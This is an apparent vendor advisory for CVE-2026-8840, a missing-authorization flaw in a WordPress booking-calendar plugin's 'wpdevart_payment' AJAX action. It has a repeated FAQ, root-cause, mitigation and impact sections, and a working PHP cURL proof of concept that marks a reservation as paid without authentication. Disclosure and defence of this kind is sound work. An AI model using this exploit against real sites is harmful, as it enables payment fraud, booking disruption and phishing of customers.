What is CVE-2026-8840?

CVE-2026-8840 is a missing authorization vulnerability in the Booking calendar, Appointment Booking System plugin for WordPress, affecting versions up to and including 3.2.36. It allows unauthenticated attackers to modify payment records, change reservation statuses, and trigger transactional emails via the ‘wpdevart_payment’ AJAX action.

How does the vulnerability work?

The plugin’s AJAX handler for ‘wpdevart_payment’ does not verify that the user is authenticated or authorized. An attacker can send a crafted POST request to admin-ajax.php with parameters like ‘res_id’ and ‘pay_status’ to directly update the payments table, altering reservation statuses without any checks.

Who is affected by this vulnerability?

Any WordPress site running the Booking calendar plugin version 3.2.36 or earlier is affected. Both site administrators and their customers are at risk, as attackers can manipulate booking data and send phishing emails.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If it is 3.2.36 or lower, your site is vulnerable. You can also review the plugin’s code for the ‘wpdevart_payment’ AJAX action to see if it lacks capability checks.

What is the CVSS score and what does it mean?

The CVSS v3.1 score is 5.3, which is Medium severity. This indicates a moderate risk with low integrity impact, meaning an attacker can modify data but not directly access confidential information or cause a denial of service.

What can an attacker do with this vulnerability?

An attacker can mark reservations as paid without payment, cancel legitimate payments, auto-approve bookings if the ‘enable_psuccess_approval’ option is enabled, and trigger transactional emails to customers, potentially for phishing.

Is there a proof of concept available?

Yes, a proof of concept is provided in the vulnerability report. It demonstrates sending a POST request to admin-ajax.php with the action ‘wpdevart_payment’ and parameters to change a reservation’s payment status to ‘success’.

How does the proof of concept demonstrate the issue?

The PoC shows that by simply setting ‘action’ to ‘wpdevart_payment’ and providing a ‘res_id’ and ‘pay_status’, an unauthenticated request can modify the database. This proves the lack of authorization checks.

How can I fix or mitigate this vulnerability?

Update the plugin to a patched version once available. Until then, as a temporary mitigation, you can disable the plugin or add a custom function to block unauthorized access to the ‘wpdevart_payment’ AJAX action, such as checking for a valid nonce or user capability.

What should I do if I cannot update the plugin immediately?

Consider deactivating the plugin until a fix is released, or use a security plugin to block direct access to admin-ajax.php for unauthenticated users. Also, monitor your site’s logs for suspicious POST requests to admin-ajax.php.

Does this vulnerability affect other plugins or themes?

No, this vulnerability is specific to the Booking calendar, Appointment Booking System plugin. However, similar issues can exist in other plugins, so it’s good practice to keep all plugins updated and review code for missing authorization checks.

Where can I find more information about this CVE?

You can refer to the CVE record on the NVD or the plugin’s changelog. The Atomic Edge analysis provides detailed technical insights, and the WordPress plugin repository may have updates or advisories.

Published : August 14, 2026

CVE-2026-8840: Booking calendar, Appointment Booking System <= 3.2.36 Missing Authorization to Unauthenticated Arbitrary Modification via wpdevart_payment AJAX Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-8840

Plugin booking-calendar

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 3.2.36

Patched Version —

Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8840 (metadata-based):

The Booking calendar, Appointment Booking System plugin for WordPress, up to version 3.2.36, contains a Missing Authorization vulnerability (CWE-862) accessible to unauthenticated attackers. The plugin fails to verify user capabilities before processing requests to the ‘wpdevart_payment’ AJAX action. This flaw allows remote, unauthenticated users to modify payment records, alter reservation statuses, and trigger transactional emails. The CVSS v3.1 score is 5.3 (Medium), reflecting a low integrity impact without direct confidentiality or availability effects.

Root Cause:

Atomic Edge analysis infers the root cause from the CWE classification and the vulnerability description. The plugin’s AJAX handler, registered for the ‘wpdevart_payment’ action, likely processes payment gateway callbacks (simulating an IPN/webhook). The developer did not implement an authorization or authentication check, assuming that only the payment gateway would call the endpoint. This assumption is false and leaves the endpoint exposed. Atomic Edge research confirms that the plugin lacks a capability check (like current_user_can) or nonce verification for this specific action, based on the CVE metadata. The vulnerable behavior likely involves directly updating the ‘payments’ table using unsanitized POST parameters, which demonstrates a failure of both authorization and data integrity validation.

Exploitation:

An attacker crafts a POST request to ‘/wp-admin/admin-ajax.php’. The request must include the ‘action’ parameter set to ‘wpdevart_payment’. The attacker also supplies parameters like ‘res_id’ (reservation ID), ‘pay_status’ (e.g., ‘success’ or ‘completed’), and other fields to inject into the database. By manipulating the ‘pay_status’, the attacker marks a reservation as paid. Setting a different status (e.g., ‘cancelled’ or ‘failed’) could cancel a legitimate payment. Supplying an email address and status could trigger the plugin’s email functions for booking confirmations. The exploitation is trivial, requiring no authentication, and succeeds because the handler does not validate the request origin or the user’s role.

Remediation:

The fix requires implementing a robust authorization check within the vulnerable AJAX handler. Atomic Edge analysis suggests the plugin must validate that the request originates from a legitimate payment gateway IPN endpoint. However, since WordPress AJAX actions are user-facing, the handler must instead verify the current user has the ‘manage_options’ capability or a similar administrative role by using ‘current_user_can()’. If the endpoint is for server-to-server communication, the plugin should use a secret key or HMAC signature validation passed as a request parameter. Additionally, the plugin should validate and sanitize all data before writing to the database, and likely use a nonce for any admin-initiated actions. A patched version is not yet available, so site administrators should monitor for updates or consider temporary mitigation.

Impact:

Successful exploitation allows an unauthenticated attacker to manipulate the integrity of payment and booking data. The attacker can change reservation statuses to ‘paid’ or ‘confirmed’, potentially enabling them to receive services without paying. Conversely, they could set a status to ‘failed’ or ‘cancelled’, disrupting legitimate bookings and causing financial loss for the site owner. The ability to trigger transactional emails allows for phishing attacks against customers, sending malicious links or false confirmations. While the direct impact is limited to data modification (C:I:N/A:L), the downstream effects on business operations and customer trust are significant.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8840 - Booking calendar, Appointment Booking System <= 3.2.36 - Missing Authorization to Unauthenticated Arbitrary Modification via wpdevart_payment AJAX Action

// Configuration
$target_url = 'http://your-wordpress-site.com/wp-admin/admin-ajax.php'; // Set the WordPress admin-ajax.php URL

// Step 1: Craft the malicious AJAX request
$post_data = array(
    'action' => 'wpdevart_payment',
    'res_id' => '1', // The ID of the reservation to modify
    'pay_status' => 'success', // Set the payment status to 'success' to mark it as paid
    'pay_amount' => '0', // Optionally set a custom amount
    'txn_id' => 'CVE-2026-8840-POC', // Attacker-supplied transaction ID
    'email' => 'attacker@example.com' // Email address to trigger booking emails
);

// Step 2: Initialize cURL session
$ch = curl_init();

// Step 3: Set cURL options for POST request
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Step 4: Execute the request and capture the response
$response = curl_exec($ch);

// Step 5: Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    // Step 6: Output the HTTP status and response body
    $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "[+] HTTP Status: " . $http_status . "n";
    echo "[+] Response Body: " . $response . "n";
    echo "[+] Exploit attempt completed. Check the WordPress admin panel or database for changes to reservation ID 1.n";
}

// Step 7: Close cURL session
curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-8840?
Vulnerability overview
CVE-2026-8840 is a missing authorization vulnerability in the Booking calendar, Appointment Booking System plugin for WordPress, affecting versions up to and including 3.2.36. It allows unauthenticated attackers to modify payment records, change reservation statuses, and trigger transactional emails via the ‘wpdevart_payment’ AJAX action.
How does the vulnerability work?
Technical explanation
The plugin’s AJAX handler for ‘wpdevart_payment’ does not verify that the user is authenticated or authorized. An attacker can send a crafted POST request to admin-ajax.php with parameters like ‘res_id’ and ‘pay_status’ to directly update the payments table, altering reservation statuses without any checks.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Booking calendar plugin version 3.2.36 or earlier is affected. Both site administrators and their customers are at risk, as attackers can manipulate booking data and send phishing emails.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin dashboard under Plugins. If it is 3.2.36 or lower, your site is vulnerable. You can also review the plugin’s code for the ‘wpdevart_payment’ AJAX action to see if it lacks capability checks.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS v3.1 score is 5.3, which is Medium severity. This indicates a moderate risk with low integrity impact, meaning an attacker can modify data but not directly access confidential information or cause a denial of service.
What can an attacker do with this vulnerability?
Exploitation impact
An attacker can mark reservations as paid without payment, cancel legitimate payments, auto-approve bookings if the ‘enable_psuccess_approval’ option is enabled, and trigger transactional emails to customers, potentially for phishing.
Is there a proof of concept available?
PoC details
Yes, a proof of concept is provided in the vulnerability report. It demonstrates sending a POST request to admin-ajax.php with the action ‘wpdevart_payment’ and parameters to change a reservation’s payment status to ‘success’.
How does the proof of concept demonstrate the issue?
PoC explanation
The PoC shows that by simply setting ‘action’ to ‘wpdevart_payment’ and providing a ‘res_id’ and ‘pay_status’, an unauthenticated request can modify the database. This proves the lack of authorization checks.
How can I fix or mitigate this vulnerability?
Remediation steps
Update the plugin to a patched version once available. Until then, as a temporary mitigation, you can disable the plugin or add a custom function to block unauthorized access to the ‘wpdevart_payment’ AJAX action, such as checking for a valid nonce or user capability.
What should I do if I cannot update the plugin immediately?
Temporary measures
Consider deactivating the plugin until a fix is released, or use a security plugin to block direct access to admin-ajax.php for unauthenticated users. Also, monitor your site’s logs for suspicious POST requests to admin-ajax.php.
Does this vulnerability affect other plugins or themes?
Scope of impact
No, this vulnerability is specific to the Booking calendar, Appointment Booking System plugin. However, similar issues can exist in other plugins, so it’s good practice to keep all plugins updated and review code for missing authorization checks.
Where can I find more information about this CVE?
Additional resources
You can refer to the CVE record on the NVD or the plugin’s changelog. The Atomic Edge analysis provides detailed technical insights, and the WordPress plugin repository may have updates or advisories.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started